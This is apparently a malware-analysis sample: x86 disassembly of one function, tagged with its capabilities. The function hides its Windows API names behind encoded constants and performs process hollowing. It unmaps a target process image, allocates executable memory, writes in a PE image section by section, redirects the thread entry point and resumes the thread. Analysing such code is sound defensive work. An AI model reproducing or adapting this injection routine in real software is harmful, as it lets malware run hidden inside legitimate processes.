Function at 0x402200
Capabilities:
Enumerate pe sections
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2fc
mov eax, dword [ebp + 8]
push eax
call fcn.00401a90
add esp, 4
mov dword [ebp - 0x2f4], eax
mov ecx, dword [ebp - 0x2f4]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401ab0
add esp, 8
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x34]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x28]
mov dword [ebp - 0x2ec], eax
push 0x23bef0d8
push 0x3354d2d8
push 0x16dc6d06
push 0xaba88be6
push 0x80585d0a
push 0x8c7229ee
push 0x84425d3c
push 0xdf36b792
push 0x7d14a3c4
push 0x73e49e8c
push 0x8c7229ee
push 0x16dc6d06
push 0x633a23e2
push 0x124a8164
push 0xa6c24d0e
push 0x3fe811a8
push 0x23bef0d8
push 0x1f6279f0
push 0xaba88be6
push 0x1e42cc86
push 0x14
push 0x422fe0
call fcn.004017e0
add esp, 0x58
push 0x422fe0
mov ecx, dword [0x422fd8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x14], eax
push 0x290c6980
push 0x715e371a
push 0x80585d0a
push 0x3354d2d8
push 0x1974536e
push 0x1974536e
push 0x5a3c2b10
push 0x1974536e
push 0xa6c24d0e
push 0xbb3e5b5c
push 0xaba88be6
push 0x334c3396
push 0x16dc6d06
push 0x633a23e2
push 0xe
push 0x422fe0
call fcn.004017e0
add esp, 0x40
push 0x422fe0
mov edx, dword [0x422fc8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2f0], eax
push 0xaba88be6
push 0x290c6980
push 0x8c7229ee
push 0xaba88be6
push 0x23bef0d8
push 0x3354d2d8
push 0xd2c85216
push 0x9cfeee5e
push 0xa6c24d0e
push 0x8c7229ee
push 0x334c3396
push 0x7c94aec0
push 0xff1ac78
push 0xaba88be6
push 0x8c7229ee
push 0x84425d3c
push 0x10
push 0x422fe0
call fcn.004017e0
add esp, 0x48
push 0x422fe0
mov eax, dword [0x422fc8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
push 0xaba88be6
push 0x290c6980
push 0x8c7229ee
push 0xaba88be6
push 0x23bef0d8
push 0x3354d2d8
push 0xd2c85216
push 0x9cfeee5e
push 0xa6c24d0e
push 0x8c7229ee
push 0x334c3396
push 0x7c94aec0
push 0xff1ac78
push 0xaba88be6
push 0x8c7229ee
push 0xbdea6a7a
push 0x10
push 0x422fe0
call fcn.004017e0
add esp, 0x48
push 0x422fe0
mov ecx, dword [0x422fc8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
push 0x9cfeee5e
push 0xa6c24d0e
push 0x8c7229ee
push 0x334c3396
push 0x7c94aec0
push 0xff1ac78
push 0x8c7229ee
push 0x3fe811a8
push 0xbb3e5b5c
push 0xfdc63fc
push 0x8c7229ee
push 0xf3c44c94
push 0xc
push 0x422fe0
call fcn.004017e0
add esp, 0x38
push 0x422fe0
mov edx, dword [0x422fc8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0x8a1e7cb2
push 0x334c3396
push 0x3354d2d8
push 0x3fe811a8
push 0x8c7229ee
push 0x3438cb2e
push 0xfdc63fc
push 0xfdc63fc
push 0x8c7229ee
push 0x80585d0a
push 0x3354d2d8
push 0x334c3396
push 0xc7845236
push 0x8c7229ee
push 0xaba88be6
push 0x16dc6d06
push 0x334c3396
push 0xb62e24dc
push 0x12
push 0x422fe0
call fcn.004017e0
add esp, 0x50
push 0x422fe0
mov eax, dword [0x422fc8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x422fcc], eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [ebp - 0x14]
push 0x40
push 0x3000
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [ebp - 0x2f0]
push 0
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x54]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [0x422fcc]
mov dword [ebp - 0x2f8], 0
jmp 0x40255e
mov eax, dword [ebp - 0x2f8]
add eax, 1
mov dword [ebp - 0x2f8], eax
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + 6]
cmp dword [ebp - 0x2f8], edx
jge 0x4025c3
mov eax, dword [ebp - 0x2f4]
mov ecx, dword [eax + 0x3c]
mov edx, dword [ebp + 8]
lea eax, [edx + ecx + 0xf8]
mov ecx, dword [ebp - 0x2f8]
imul ecx, ecx, 0x28
add eax, ecx
mov dword [ebp - 0x2fc], eax
push 0
mov edx, dword [ebp - 0x2fc]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [ebp - 0x2fc]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x14]
push edx
mov eax, dword [ebp - 0x2fc]
mov ecx, dword [ebp - 0x18]
add ecx, dword [eax + 0xc]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [0x422fcc]
jmp 0x40254f
mov dword [ebp - 0x2e8], 0x10002
lea eax, [ebp - 0x2e8]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
call dword [ebp - 0xc]
jmp 0x402607
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x2ec]
mov dword [ebp - 0x238], edx
lea eax, [ebp - 0x2e8]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
call dword [ebp - 0x10]
mov edx, dword [ebp + 0x10]
push edx
call dword [ebp - 4]
xor eax, eax
jmp 0x402625
push 0
push 4
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x244]
add ecx, 8
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [0x422fcc]
jmp 0x4025df
mov esp, ebp
pop ebp
ret 0x14